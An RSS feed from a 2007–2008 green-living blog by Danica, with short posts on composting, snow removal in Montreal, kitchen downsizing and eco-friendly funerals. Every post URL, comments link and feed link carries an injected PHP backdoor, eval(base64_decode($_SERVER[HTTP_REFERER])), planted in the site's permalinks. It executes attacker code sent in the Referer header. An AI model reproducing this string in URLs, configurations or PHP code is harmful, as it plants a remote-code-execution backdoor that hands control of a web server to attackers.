Riot 4 Austerity » Danica http://www.riot4austerity.org/blog Riot for Austerity: 90% Reduction Project Thu, 02 Sep 2010 23:40:10 +0000 http://wordpress.org/?v=2.3.2 en Pack it up http://www.riot4austerity.org/blog/2008/05/18/pack-it-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2008/05/18/pack-it-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 18 May 2008 20:09:57 +0000 Danica http://mygreencitylife.com/blog/?p=58 I’ve decided that I don’t need this whole site anymore, so this blog is moving! All the archives will be moved to the new location. Check out the new digs here:

http://mygreencitylife.wordpress.com/

The popular applesauce photo tutorial post is now here.

Perhaps a new location will inspire me to update more often! If not, the spring probably will. It’s hard to feel like talking about being green (or anything, really) with great enthusiasm when your city has been buried under feet of snow for months on end. I’m beginning to believe that winter really is for hibernating.

]]> http://www.riot4austerity.org/blog/2008/05/18/pack-it-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Local news: Urban composting? http://www.riot4austerity.org/blog/2008/02/22/local-news-urban-composting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2008/02/22/local-news-urban-composting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 22 Feb 2008 21:45:53 +0000 Danica http://mygreencitylife.com/blog/?p=57 Kate at the Montreal City Weblog just indicated that perhaps there may be some sort of urban composting/energy creation happening in the future. Unfortunately, both articles to which she links are in French, and I can count the number of languages I understand on one finger.

]]> http://www.riot4austerity.org/blog/2008/02/22/local-news-urban-composting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Any concerned Kansans out there? http://www.riot4austerity.org/blog/2008/02/19/any-concerned-kansans-out-there/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2008/02/19/any-concerned-kansans-out-there/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 19 Feb 2008 22:12:02 +0000 Danica http://mygreencitylife.com/blog/?p=56 There is a bill being considered by committee in the Kansas Senate that would make it illegal for dairy producers to label their products as hormone-free. I haven’t really researched it, but on the surface, it certainly seems that this is the work of lobbying by Big Agriculture. The Kansas City Food Circle has two blog posts about the issue: here and here. If you are a Kansan and want to contact your local politicians, you can do so here.

]]> http://www.riot4austerity.org/blog/2008/02/19/any-concerned-kansans-out-there/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Brilliant! http://www.riot4austerity.org/blog/2008/02/08/brilliant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2008/02/08/brilliant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 Feb 2008 16:57:21 +0000 Danica http://mygreencitylife.com/blog/?p=55 I had an idea this morning that is completely unrealistic yet brilliant in its simplicity. Someone needs to develop technology so that the snow removal equipment can run on SNOW instead of gasoline. Brilliant!

]]> http://www.riot4austerity.org/blog/2008/02/08/brilliant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Super Tuesday, enviro-style http://www.riot4austerity.org/blog/2008/02/06/super-tuesday-enviro-style/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2008/02/06/super-tuesday-enviro-style/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 06 Feb 2008 23:08:41 +0000 Danica http://mygreencitylife.com/blog/?p=54 Matt spent the better part of six hours in front of the television last night watching the coverage of the primaries. (”This is way better than the Olympics,” said he.) He switched between three different channels: CBS, CBC (which did a small piece on the MCDC that happened to be shot entirely in Kansas City [sigh]), and RDI which is the French version of the CBC. None of them seemed to be saying anything radically different from the others. I’m just assuming about RDI since I can’t understand anything they say on that channel.

Today in my email inbox, I received a link to The Daily Green’s version of what went down last night. As usual, the article is pretty vague, but you might glean a bit of knowledge from it. It is always a nice little change from the more mainstream media to see the politicians analyzed in terms of their stance on the environment, rather than their experience, their abilities as Commander-In-Chief, their plans for healthcare reform, or their take on immigration.

]]> http://www.riot4austerity.org/blog/2008/02/06/super-tuesday-enviro-style/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Snow Removal http://www.riot4austerity.org/blog/2008/01/28/snow-removal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2008/01/28/snow-removal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 28 Jan 2008 15:44:38 +0000 Danica http://mygreencitylife.com/blog/?p=53 So it snowed a few inches last week. I got excited like a little kid when all the big snow plowing tractor guys came rumbling by. I ran to the window when I heard the snow removal/farm equipment tractors coming down the street. I swear, I’m like a little boy, all excited about the big machines!

But then I started thinking about all the resources it takes to clear just a few inches of snow from this city. Fossil fuels, of course, but even just the cost in dollars is astounding. Montreal has a $128-million budget for snow removal this winter. The record snow fall in December took a very sizable chunk out of that money.

So what happens when fuel costs get too high? Does the city stop clearing snow on side streets? Does it only clear one lane on a two-lane street? Will the increased fuel costs have caused more people to ditch their cars, warranting a smaller snow removal operation anyway? Will there come a day when the city doesn’t even remove the snow anymore? Is there a better alternative?

If you like, you can learn more about Montreal’s snow removal procedures here.

Image: snow removal. Originally uploaded by ben soo

]]> http://www.riot4austerity.org/blog/2008/01/28/snow-removal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Downsizing http://www.riot4austerity.org/blog/2008/01/10/downsizing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2008/01/10/downsizing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 10 Jan 2008 22:43:29 +0000 Danica http://mygreencitylife.com/blog/?p=52 a post by Sara at Walk Slowly, Live Wildly about nomads, yurts, and simple living. Sara and her small family spent many months this year touring around the US in a camper running on veggie oil. The girl knows about living in close quarters, a lifestyle that necessitates keeping around only the essentials. In her post, Sara discusses applying the nomadic “essentials only” mindset to the kitchen: one bowl, plate, cup, fork, spoon, knife per person. Put the rest away, she says. You can get them out for company. So I did it today. Instead of putting the extras in a different cupboard, I just rearranged things so that I now only have to open one door to get to my “essentials.” (Space is limited in my kitchen.) We each get a bowl, a plate, a mug for hot drinks, a glass for cold drinks, a wine glass, a fork, a spoon, and a knife. Everything else is hidden behind the other door, which I shouldn’t have to open unless we have company. We’ll see how it goes. I anticipate dishwashing being less of a headache. Maybe this will inspire us to downsize the rest of our kitchen. We do cook a lot, but how many pots, pans, and wooden spoons does one kitchen really need anyway? A question for another day.]]> http://www.riot4austerity.org/blog/2008/01/10/downsizing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Kickin’ the Eco-Friendly Bucket http://www.riot4austerity.org/blog/2008/01/09/kickin%e2%80%99-the-eco-friendly-bucket/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2008/01/09/kickin%e2%80%99-the-eco-friendly-bucket/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 Jan 2008 19:11:04 +0000 Danica http://mygreencitylife.com/blog/?p=51 Crunchy Chicken has a post about something I’ve never really considered in an eco-friendly way: funerals and burial. I’ve always though cremation was the way to go. Looks like it’s probably less environmentally harmful than traditional burial in a cemetery. Check out the comments; there are some additional links and ideas there too.

]]> http://www.riot4austerity.org/blog/2008/01/09/kickin%e2%80%99-the-eco-friendly-bucket/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ The End of Year Wrap-up Post http://www.riot4austerity.org/blog/2007/12/31/the-end-of-year-wrap-up-post/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/12/31/the-end-of-year-wrap-up-post/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 31 Dec 2007 16:45:19 +0000 Danica http://mygreencitylife.com/blog/?p=50 On this, the last day of the year, it seems fitting to do a bit of reflection on the year that is about to come to a close. I’ve made quite a few changes this year for the good of the environment. Here are some of the highlights:
  • I rarely use the clothes dryer anymore. I have a drying rack that I rescued from the curb, as well as two clotheslines in my bathroom and one on my balcony.
  • Thanks to Worm Girl, I have a couple pounds of wriggly friends who live in a plastic box and eat my leftovers, thus decreasing the amount of compostable material I throw away. Vermicomposting rules!
  • Taking my cloth grocery bag to the health food store was old hat. Now I tend to bring along lightly used plastic bags for use in the bulk (”scoop your own”) aisle. I’ve discovered that I can buy all kinds of things in bulk that I previously bought in regular containers: olive oil, baking powder, spices, tea, oatmeal, etc. Buying in bulk cuts down on the amount of packaging I consume, and it’s way cheaper this way.
  • This summer I started a little garden on my balcony. I don’t have enough room and sun for much, but I managed to keep a few herbs alive. Nothing tastes better than homegrown food!
  • I’ve learned several new electricty-saving tips and utilized them with very happy results. My latest electricity bill showed we used less than 90kwH per month (the bill comes every other month), which is a 90% reduction of what the average American household uses.

Here’s wishing us all a very green and blessed new year. Be well!

]]> http://www.riot4austerity.org/blog/2007/12/31/the-end-of-year-wrap-up-post/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Local news: Eat Local Resource http://www.riot4austerity.org/blog/2007/12/28/local-news-eat-local-resource/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/12/28/local-news-eat-local-resource/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 28 Dec 2007 19:09:18 +0000 Danica http://mygreencitylife.com/blog/?p=49 SOS Cuisine. I haven’t had a chance to look at everything on it yet, but it looks promising. They have a list of what produce is in season that is updated weekly. Also updated weekly is a list of prices on items at several area grocery stores. It’s color-coded so you can spot which items are the best price in each category, and the origin of each item is also listed. I tend to buy a very limited amount of fresh produce in the winter, because I have it in my head that there are very few locally produced vegetables this time of year, and I am too stubborn to buy imported produce. Hopefully this site will help me break my habits so I can have a more varied diet in the winter.]]> http://www.riot4austerity.org/blog/2007/12/28/local-news-eat-local-resource/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/